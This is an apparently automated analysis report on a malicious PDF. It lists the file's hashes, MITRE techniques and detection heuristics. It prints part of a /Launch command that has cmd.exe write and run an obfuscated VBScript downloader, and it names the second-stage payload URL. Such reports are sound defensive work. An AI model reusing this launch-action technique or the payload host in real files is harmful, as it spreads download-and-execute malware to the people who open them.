PDF malware analysis — malicious · a1f66ad0a355da3c

MALICIOUS

PDF

800 B

MD5: 09ba6c7da4d1cb4b0261e55177eafb38 SHA-1: a1acd7ae259028baea5a2de0e81a389f808b5a30 SHA-256: a1f66ad0a355da3ce05c8e1d2bf49bf76c3002ba54d4dfb7ba2ad551ab4d783c

120 Risk Score

Malware Insights

MITRE ATT&CK

T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command attempts to echo a VBScript payload to a file named 'm.vbs' and then likely execute it. The VBScript payload is obfuscated using string reversal and is designed to download and execute further content from the URL http://amcupsite.com/px/tmp/m.vbs. The embedded script payload and launch action strongly indicate a malicious intent to download and run a second-stage payload.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://amcupsite.com/px/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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